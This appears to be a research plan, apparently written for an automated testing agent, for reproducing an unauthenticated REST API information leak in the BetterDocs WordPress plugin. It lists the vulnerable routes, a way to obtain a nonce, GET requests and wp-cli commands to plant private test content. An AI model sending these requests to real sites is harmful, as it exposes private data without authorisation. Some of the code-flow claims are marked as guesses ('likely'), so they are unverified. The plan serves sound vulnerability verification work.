Research Plan: CVE-2026-42644 - BetterDocs Unauthenticated Information Exposure

1. Vulnerability Summary

The BetterDocs plugin (up to 4.3.10) contains a sensitive information exposure vulnerability. The issue stems from the registration of REST API endpoints that fail to implement proper permission_callback checks. This allows unauthenticated users to access routes that disclose data such as internal FAQ categories, post metadata, and potentially configuration or user details that should be restricted to authenticated administrators.

2. Attack Vector Analysis

• Endpoint: WordPress REST API under the betterdocs/v1 namespace.
• Vulnerable Routes:
  • /wp-json/betterdocs/v1/faq-categories
  • /wp-json/betterdocs/v1/search
• HTTP Method: GET
• Authentication: None required (Unauthenticated).
• Preconditions: The plugin must be active, and at least one FAQ or Category must exist (even if marked as private/draft).

3. Code Flow

1. Initialization: In includes/Plugin.php, the plugin hooks into rest_api_init via the api_initialization method.
2. Registration: The WPDeveloper\BetterDocs\Core\FAQBuilder class (instantiated via the container) hooks into rest_api_init in its __construct method, calling $this->register_api_endpoint.
3. Route Setup: Inside register_api_endpoint (found in includes/Core/FAQBuilder.php), routes are registered using register_rest_route.
4. Missing Check: The register_rest_route calls likely omit the permission_callback argument or set it to __return_true, making the endpoint accessible to anyone.
5. Data Retrieval: The callback for these routes (e.g., fetching categories or search results) retrieves terms or posts using standard WordPress functions (like get_terms or WP_Query) without enforcing visibility restrictions or stripping sensitive metadata registered via register_term_meta or register_post_meta.

4. Nonce Acquisition Strategy

This vulnerability typically involves REST API endpoints that do not require a nonce for GET requests if the permission_callback is missing.

However, if a nonce is required for the REST API (standard wp_rest nonce), it can be obtained as follows:

1. Identify Script Localization: BetterDocs localizes data in includes/Core/Scripts.php (referenced in Plugin.php).
2. Shortcode Page: Create a page containing the BetterDocs Search or Category shortcode.
   • Command: wp post create --post_type=page --post_status=publish --post_title="Docs" --post_content='[betterdocs_search_form]'
3. Extraction:
   • Navigate to the new page.
   • Use browser_eval to extract the nonce from the global JavaScript object (likely betterdocs_settings or betterdocs_ajax).
   • Script: browser_eval("window.betterdocs_settings?.nonce") or browser_eval("window.betterdocs_ajax?.nonce").

5. Exploitation Strategy

The goal is to extract information about FAQ categories and posts that are not publicly visible.

Step 1: Discover REST Routes

Access the REST API index to confirm the available routes in the betterdocs namespace.

• Request: GET /wp-json/betterdocs/v1
• Tool: http_request

Step 2: Information Disclosure (Categories)

Query the FAQ categories endpoint.

• Request: GET /wp-json/betterdocs/v1/faq-categories
• Tool: http_request
• Expected Payload: No parameters needed.

Step 3: Information Disclosure (Search/Metadata)

Query the search endpoint to find content and associated metadata.

• Request: GET /wp-json/betterdocs/v1/search?s=
• Tool: http_request

6. Test Data Setup

To prove information exposure, create content that should be hidden:

1. Create Private FAQ Category:

   wp term create betterdocs_faq_category "Internal Secrets" --description="This should not be seen"
   

2. Create Private FAQ Post:

   wp post create --post_type=betterdocs_faq --post_status=private --post_title="Internal Admin Password Policy" --post_content="Keep it secret."
   

3. Set Metadata:

   # Assign the private FAQ to the category (replace IDs accordingly)
   wp post term set <POST_ID> betterdocs_faq_category <TERM_ID>
   

7. Expected Results

• A successful exploit will return a JSON response containing the "Internal Secrets" category name and description, even though the user is unauthenticated.
• The response might also include internal ordering metadata (_betterdocs_faq_order) or status flags (status) registered in FAQBuilder.php lines 105-108.
• If the vulnerability extends to search, the private post title "Internal Admin Password Policy" may appear in the results.

8. Verification Steps

1. Verify Unauthenticated Access:
   • Use http_request to call /wp-json/betterdocs/v1/faq-categories.
   • Ensure no cookies or X-WP-Nonce headers are sent.
2. Check for Sensitive Data:
   • Confirm the string "Internal Secrets" is present in the JSON body.
3. Verify Post Metadata Exposure:
   • Check if the JSON contains keys like order, status, or _betterdocs_faq_order which are internal plugin configurations.

9. Alternative Approaches

If /faq-categories is protected, attempt to access:

• /wp-json/betterdocs/v1/docs-categories
• /wp-json/betterdocs/v1/get-settings (if the plugin exposes its settings via REST for the admin UI)
• /wp-json/wp/v2/betterdocs_faq (Check if the default WP REST endpoint for the custom post type is inadvertently left public despite public => false in register_post_type).